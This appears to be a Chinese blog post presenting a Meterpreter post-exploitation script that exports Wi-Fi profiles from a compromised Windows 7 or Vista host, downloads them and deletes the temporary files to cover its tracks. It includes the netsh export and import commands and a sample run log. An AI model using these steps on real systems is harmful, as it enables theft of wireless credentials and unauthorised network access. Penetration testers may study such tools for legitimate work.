这是一个简单的Meterpreter脚本,当在Windows 7或Vista系统上运行时,能够提取并下载所有通过Windows客户端设置的无线配置文件(即非第三方客户端应用程序配置的配置文件)。
实现原理
脚本通过以下命令将所有配置文件导出到当前%TEMP%目录:
1
|
netsh wlan export profile folder=%TEMP%
|
然后解析输出结果的每一行,找到配置文件的文件名并下载。为了清理痕迹,脚本会从目录中删除该文件。
配置文件存储在.msf3/logs/scripts/wlan_profiles/
目录中。
要重用这些配置文件,可以使用以下命令将其导入到另一台Windows机器:
1
|
netsh wlan add profile filename="文件名.xml"
|
在测试过程中发现:如果使用外部无线网卡设置配置文件,然后移除该网卡,这些配置文件将无法通过netsh脚本访问。一旦重新插入网卡,配置文件就会恢复。虽然肯定还有其他方法可以访问这些配置文件,但本脚本不包含此功能。
使用方法
只需解压缩脚本并将其移动到meterpreter/scripts目录。建议在操作时从文件名中移除版本号。
运行时显示如下:
1
2
3
4
5
6
7
8
9
10
11
12
|
meterpreter > run getwlanprofiles
[*] Running Windows Wlan Profile Downloader Meterpreter Script
[*] New session on 192.168.0.80:53831...
[*] Running export command - netsh wlan export profile folder=C:\Users\robin\AppData\Local\Temp
[*] Downloading profile wpa_profile to /home/robin/.msf3/logs/scripts/wlan_profiles/VISTA-DOMAIN_20110110.5030/wpa_profile.xml
[*] Deleting file C:\Users\robin\AppData\Local\Temp\Wireless Network Connection 2-wpa.xml
[*] Downloading profile thisiswep to /home/robin/.msf3/logs/scripts/wlan_profiles/VISTA-DOMAIN_20110110.5030/thisiswep.xml
[*] Deleting file C:\Users\robin\AppData\Local\Temp\Wireless Network Connection 2-thisiswep.xml
[*] Downloading profile eap to /home/robin/.msf3/logs/scripts/wlan_profiles/VISTA-DOMAIN_20110110.5030/eap.xml
[*] Deleting file C:\Users\robin\AppData\Local\Temp\Wireless Network Connection 2-this is it.xml
[*] Found and extracted 3 profiles
[*] Done!
|
下载
下载getwlanprofiles脚本。
致谢
该脚本很大程度上基于Carlos Perez优秀的Meterpreter脚本。
编写该脚本的灵感来源于阅读《Hacking Exposed Wireless, Second Edition》。强烈推荐这本书给所有人,即使你对wifi不感兴趣,因为它涵盖的内容远不止破解WEP和运行嗅探器,比其他书籍内容更加全面。